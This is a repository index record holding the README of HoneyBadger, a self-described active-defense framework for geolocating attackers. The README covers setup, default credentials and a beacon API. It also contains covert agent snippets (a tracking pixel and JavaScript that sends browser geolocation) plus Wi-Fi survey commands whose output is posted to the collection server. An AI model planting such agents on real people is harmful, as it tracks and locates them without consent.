{"id":26092975,"url":"https://github.com/just5ky/honeybadger","last_synced_at":"2025-07-31T03:33:16.323Z","repository":{"id":45263289,"uuid":"507029584","full_name":"just5ky/honeybadger","owner":"just5ky","description":null,"archived":false,"fork":false,"pushed_at":"2024-02-06T20:38:40.000Z","size":151,"stargazers_count":0,"open_issues_count":6,"forks_count":0,"subscribers_count":1,"default_branch":"latest","last_synced_at":"2025-07-25T15:32:55.029Z","etag":null,"topics":["active-defense","cybersecurity","honeybadger","python"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/just5ky.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2022-06-24T13:55:45.000Z","updated_at":"2022-07-13T09:00:25.000Z","dependencies_parsed_at":"2023-02-18T00:01:24.855Z","dependency_job_id":"8088022b-1b9f-4474-b499-452b16343809","html_url":"https://github.com/just5ky/honeybadger","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/just5ky/honeybadger","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/just5ky%2Fhoneybadger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/just5ky%2Fhoneybadger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/just5ky%2Fhoneybadger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/just5ky%2Fhoneybadger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/just5ky","download_url":"https://codeload.github.com/just5ky/honeybadger/tar.gz/refs/heads/latest","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/just5ky%2Fhoneybadger/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":267983469,"owners_count":24176058,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-31T02:00:08.723Z","response_time":66,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["active-defense","cybersecurity","honeybadger","python"],"created_at":"2025-03-09T11:11:26.093Z","updated_at":"2025-07-31T03:33:16.282Z","avatar_url":"https://github.com/just5ky.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# HoneyBadger v3\n\n\u003cdiv align=\"center\"\u003e\n\n![](/server/honeybadger/static/honeybadger.png)\n\n![GitHub repo size](https://img.shields.io/github/repo-size/Just5KY/honeybadger?label=Repo%20Size\u0026logo=github)\n![Docker Build](https://github.com/just5ky/honeybadger/workflows/Docker/badge.svg) \n![Docker Pulls](https://img.shields.io/docker/pulls/justsky/honeybadger)\n![Docker Size](https://img.shields.io/docker/image-size/justsky/honeybadger)\n\n\u003c/div\u003e\n\nHoneyBadger is a framework for targeted geolocation. While honeypots are traditionally used to passively detect malicious actors, HoneyBadger is an Active Defense tool to determine who the malicious actor is and where they are located. HoneyBadger leverages \"agents\", built in various technologies that harvest the requisite information from the target host in order to geolocate them. These agents report back to the HoneyBadger API, where the data is stored and made available in the HoneyBadger user interface.\n\nAn early prototype of HoneyBadger (v1) can be seen in the presentation \"[Hide and Seek: Post-Exploitation Style](http://youtu.be/VJTrRMqHU5U)\" from ShmooCon 2013. The associated Metasploit Framework modules mentioned in the above presentation can be found [here](https://github.com/v10l3nt/metasploit-framework/tree/master/modules/auxiliary/badger). Note: These modules have not been updated to work with v2 of the API.\n\n## Getting Started\n\n### Pre-requisites\n\n* ~~Python 3.x~~\n* Docker\n\n\n#### Docker Run\n`docker run --rm --name honeybadger  -p 5000:5000  justsky/honeybadger`\n\n#### Docker compose\n\n```yml\nversion: \"3\"\nservices:\n    honeybadger\n        name: honeybadger\n        restart: unless-stopped\n        image: justsky/honeybadger\n        ports:\n            - \"5000:5000\"\n```\nLogin with `honeybadger` and `honeybadger` as username and password.\n\n### Installation (Ubuntu and OS X)\n\n1. Install [pip](https://pip.pypa.io/en/stable/installing/). (Make sure to use `pip3` if you also have Python2 installed)\n2. Clone the HoneyBadger repository.\n\n    ```\n    $ git clone https://github.com/adhdproject/honeybadger.git\n    ```\n\n3. Install the dependencies.\n\n    ```\n    $ cd honeybadger/server\n    $ pip install -r requirements.txt\n    ```\n\n4. Initialize the database. The provided username and password will become the administrator account.\n\n    ```\n    $ python\n    \u003e\u003e\u003e import honeybadger\n    \u003e\u003e\u003e honeybadger.initdb(\"\u003cusername\u003e\", \"\u003cpassword\u003e\")\n    ```\n\n5. Start the HoneyBadger server. API keys are required to use maps and geolocation services.\n\n    ```\n    $ python ./honeybadger.py -gk \u003cGOOGLE_API_KEY\u003e -ik \u003cIPSTACK_API_KEY\u003e\n    ```\n\n    Honeybadger will still run without the API keys, but mapping and geolocation functionality will be limited as a result.\n\n    View usage information with either of the following:\n\n   ```\n   $ python ./honeybadger.py -h\n   $ python ./honeybadger.py --help\n   ```\n\n\n6. Visit the application and authenticate.\n7. Add users and targets as needed using their respective pages.\n8. Deploy agents for the desired target.\n\nClicking the \"demo\" button next to any of the targets will launch a demo web page containing an `HTML`, `JavaScript`, and `Applet` agent for that target.\n\n### Fresh Start\n\nMake a mess and want to start over fresh? Do this.\n\n```\n$ python\n\u003e\u003e\u003e import honeybadger\n\u003e\u003e\u003e honeybadger.dropdb()\n\u003e\u003e\u003e honeybadger.initdb(\u003cusername\u003e, \u003cpassword\u003e)\n```\n\n## API Usage\n\n### IP Geolocation\n\nThis method geolocates the target based on the source IP of the request and assigns the resolved location to the given target and agent.\n\nExample: (Method: `GET`)\n\n```\nhttp://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/\u003cstring:agent\u003e\n```\n\n### Known Coordinates\n\nThis method accepts previously resolved location data for the given target and agent.\n\nExample: (Method: `GET`)\n\n```\nhttp://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/\u003cstring:agent\u003e?lat=\u003cfloat:latitude\u003e\u0026lng=\u003cfloat:longitude\u003e\u0026acc=\u003cinteger:accuracy\u003e\n```\n\n### Wireless Survey\n\nThis method accepts wireless survey data and parses the information on the server-side, extracting what is needed to make a Google API geolocation call. The resolved geolocation data is then assigned to the given target. Parsers currently exist for survey data from Windows, Linux and OS X using the following commands:\n\nWindows:\n\n```\ncmd.exe /c netsh wlan show networks mode=bssid | findstr \"SSID Signal Channel\"\n```\n\nThere is a powershell script in the util directory that can be used to automatically send data to the server:\n```\npowershell .\\wireless_survey.ps1 -uri \u003cURI\u003e\n```\n\nLinux:\n\n```\n/bin/sh -c iwlist scan | egrep 'Address|ESSID|Signal'\n```\n\nThere is a shell script in the util directory that can be used to automatically send data to the server:\n```\nbash ./wireless_survey.sh \u003cURL\u003e\n```\n\nOS X:\n\n```\n/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s\n```\n\nExample: (Method: `POST`)\n\n```\nhttp://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/\u003cstring:agent\u003e\n```\n\nPOST Payload:\n\n```\nos=\u003cstring:operating-system\u003e\u0026data=\u003cbase64:data\u003e\n```\n\nThe `os` parameter must match one of the following regular expressions:\n\n* `re.search('^mac os x', os.lower())`\n* `re.search('^windows', os.lower())`\n* `re.search('^linux', os.lower())`\n\n### Universal Parameters\n\nAll requests can include an optional `comment` parameter. This parameter is sanitized and displayed within the UI as miscellaneous information about the target or agent.\n\n## Example Web Agents\n\n### HTML\n\n```\nimg = new Image();\nimg.src = \"http://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/HTML\";\n```\n\nor\n\n```\n\u003cimg src=\"http://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/HTML\" width=1 height=1 /\u003e\n```\n\n### JavaScript\n\nNote: JavaScript (HTML5) geolocation agents will not work unless deployed in a secure context (HTTPS), or local host.\n\n```\nfunction showPosition(position) {\n    img = new Image();\n    img.src = \"http://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/JavaScript?lat=\" + position.coords.latitude + \"\u0026lng=\" + position.coords.longitude + \"\u0026acc=\" + position.coords.accuracy;\n}\n\nif (navigator.geolocation) {\n    navigator.geolocation.getCurrentPosition(showPosition);\n}\n```\n\n### Content Security Policy\n\n```\nresponse.headers['X-XSS-Protection'] = '0'\nresponse.headers['Content-Security-Policy-Report-Only'] = '\u003cstring:policy\u003e; report-uri http://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/Content-Security-Policy'\n```\n\n### XSS Auditor\n\n```\nresponse.headers['X-XSS-Protection'] = '1; report=http://\u003cpath:honeybadger\u003e/api/beacon/\u003cguid:target\u003e/XSS-Protection'\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjust5ky%2Fhoneybadger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjust5ky%2Fhoneybadger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjust5ky%2Fhoneybadger/lists"}